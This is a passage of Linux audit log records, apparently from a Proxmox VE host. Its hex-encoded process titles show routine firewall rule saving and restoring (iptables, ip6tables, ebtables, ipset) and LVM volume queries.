{"@timestamp":1781965929799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.799:67708): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=PATH msg=audit(1781965815.161:67214): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.799:67707): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815156,"@rawstring":"node=pve type=PATH msg=audit(1781965815.156:67213): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.096:67706): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965815156,"@rawstring":"node=pve type=PATH msg=audit(1781965815.156:67213): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.093:67705): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965815156,"@rawstring":"node=pve type=PATH msg=audit(1781965815.156:67213): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.091:67704): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815148,"@rawstring":"node=pve type=PATH msg=audit(1781965815.148:67212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.091:67703): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815148,"@rawstring":"node=pve type=PATH msg=audit(1781965815.148:67212): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.087:67702): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815139,"@rawstring":"node=pve type=PATH msg=audit(1781965815.139:67211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.080:67701): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815139,"@rawstring":"node=pve type=PATH msg=audit(1781965815.139:67211): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.071:67700): proctitle=\"iptables-save\""} {"@timestamp":1781965815133,"@rawstring":"node=pve type=PATH msg=audit(1781965815.133:67210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.064:67699): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815133,"@rawstring":"node=pve type=PATH msg=audit(1781965815.133:67210): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.056:67698): proctitle=\"iptables-save\""} {"@timestamp":1781965815124,"@rawstring":"node=pve type=PATH msg=audit(1781965815.124:67209): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.052:67697): proctitle=\"ebtables-restore\""} {"@timestamp":1781965815124,"@rawstring":"node=pve type=PATH msg=audit(1781965815.124:67209): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.049:67696): proctitle=\"ebtables-restore\""} {"@timestamp":1781965815113,"@rawstring":"node=pve type=PATH msg=audit(1781965815.113:67208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.042:67695): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965815113,"@rawstring":"node=pve type=PATH msg=audit(1781965815.113:67208): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.035:67694): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965814614,"@rawstring":"node=pve type=PATH msg=audit(1781965814.614:67207): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.030:67693): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965814614,"@rawstring":"node=pve type=PATH msg=audit(1781965814.614:67207): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.022:67692): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965814580,"@rawstring":"node=pve type=PATH msg=audit(1781965814.580:67206): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.016:67691): proctitle=697073657400726573746F7265"} {"@timestamp":1781965814580,"@rawstring":"node=pve type=PATH msg=audit(1781965814.580:67206): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965926009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965926.009:67690): proctitle=\"ip6tables-save\""} {"@timestamp":1781965814411,"@rawstring":"node=pve type=PATH msg=audit(1781965814.411:67205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.999:67689): proctitle=\"iptables-save\""} {"@timestamp":1781965814411,"@rawstring":"node=pve type=PATH msg=audit(1781965814.411:67205): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.994:67688): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965814411,"@rawstring":"node=pve type=PATH msg=audit(1781965814.411:67204): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.991:67687): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965814410,"@rawstring":"node=pve type=PATH msg=audit(1781965814.410:67203): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.990:67686): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PATH msg=audit(1781965814.399:67202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.990:67685): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PATH msg=audit(1781965814.399:67202): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.985:67684): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PATH msg=audit(1781965814.399:67201): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.977:67683): proctitle=\"ip6tables-save\""} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PATH msg=audit(1781965814.399:67200): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.969:67682): proctitle=\"iptables-save\""} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PATH msg=audit(1781965809.393:67199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.962:67681): proctitle=69707365740073617665"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PATH msg=audit(1781965809.393:67199): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925953,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.953:67680): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PATH msg=audit(1781965809.393:67198): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965925943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965925.943:67679): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PATH msg=audit(1781965809.393:67197): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.787:67678): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PATH msg=audit(1781965809.385:67196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.787:67677): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PATH msg=audit(1781965809.385:67196): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.787:67676): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PATH msg=audit(1781965809.385:67195): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.777:67675): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PATH msg=audit(1781965809.385:67194): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.777:67674): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806102,"@rawstring":"node=pve type=PATH msg=audit(1781965806.102:67193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.777:67673): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806102,"@rawstring":"node=pve type=PATH msg=audit(1781965806.102:67193): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.207:67672): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965806098,"@rawstring":"node=pve type=PATH msg=audit(1781965806.098:67192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965924177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965924.177:67671): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965806098,"@rawstring":"node=pve type=PATH msg=audit(1781965806.098:67192): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.764:67670): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=PATH msg=audit(1781965806.097:67191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.764:67669): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=PATH msg=audit(1781965806.097:67191): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.764:67668): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=PATH msg=audit(1781965806.097:67190): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.756:67667): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806093,"@rawstring":"node=pve type=PATH msg=audit(1781965806.093:67189): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.756:67666): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806093,"@rawstring":"node=pve type=PATH msg=audit(1781965806.093:67189): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965919.756:67665): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965806093,"@rawstring":"node=pve type=PATH msg=audit(1781965806.093:67189): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.926:67664): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965806084,"@rawstring":"node=pve type=PATH msg=audit(1781965806.084:67188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.922:67663): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965806084,"@rawstring":"node=pve type=PATH msg=audit(1781965806.084:67188): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.921:67662): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806075,"@rawstring":"node=pve type=PATH msg=audit(1781965806.075:67187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.921:67661): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806075,"@rawstring":"node=pve type=PATH msg=audit(1781965806.075:67187): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.916:67660): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806068,"@rawstring":"node=pve type=PATH msg=audit(1781965806.068:67186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.909:67659): proctitle=\"ip6tables-save\""} {"@timestamp":1781965806068,"@rawstring":"node=pve type=PATH msg=audit(1781965806.068:67186): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.903:67658): proctitle=\"iptables-save\""} {"@timestamp":1781965806060,"@rawstring":"node=pve type=PATH msg=audit(1781965806.060:67185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.895:67657): proctitle=\"ip6tables-save\""} {"@timestamp":1781965806060,"@rawstring":"node=pve type=PATH msg=audit(1781965806.060:67185): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.886:67656): proctitle=\"iptables-save\""} {"@timestamp":1781965806053,"@rawstring":"node=pve type=PATH msg=audit(1781965806.053:67183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.882:67655): proctitle=\"ebtables-restore\""} {"@timestamp":1781965806053,"@rawstring":"node=pve type=PATH msg=audit(1781965806.053:67183): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.879:67654): proctitle=\"ebtables-restore\""} {"@timestamp":1781965806047,"@rawstring":"node=pve type=PATH msg=audit(1781965806.047:67182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.873:67653): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965806047,"@rawstring":"node=pve type=PATH msg=audit(1781965806.047:67182): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.867:67652): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965806040,"@rawstring":"node=pve type=PATH msg=audit(1781965806.040:67181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.859:67651): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965806040,"@rawstring":"node=pve type=PATH msg=audit(1781965806.040:67181): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.852:67650): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965806033,"@rawstring":"node=pve type=PATH msg=audit(1781965806.033:67180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.845:67649): proctitle=697073657400726573746F7265"} {"@timestamp":1781965806033,"@rawstring":"node=pve type=PATH msg=audit(1781965806.033:67180): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.838:67648): proctitle=\"ip6tables-save\""} {"@timestamp":1781965806026,"@rawstring":"node=pve type=PATH msg=audit(1781965806.026:67179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 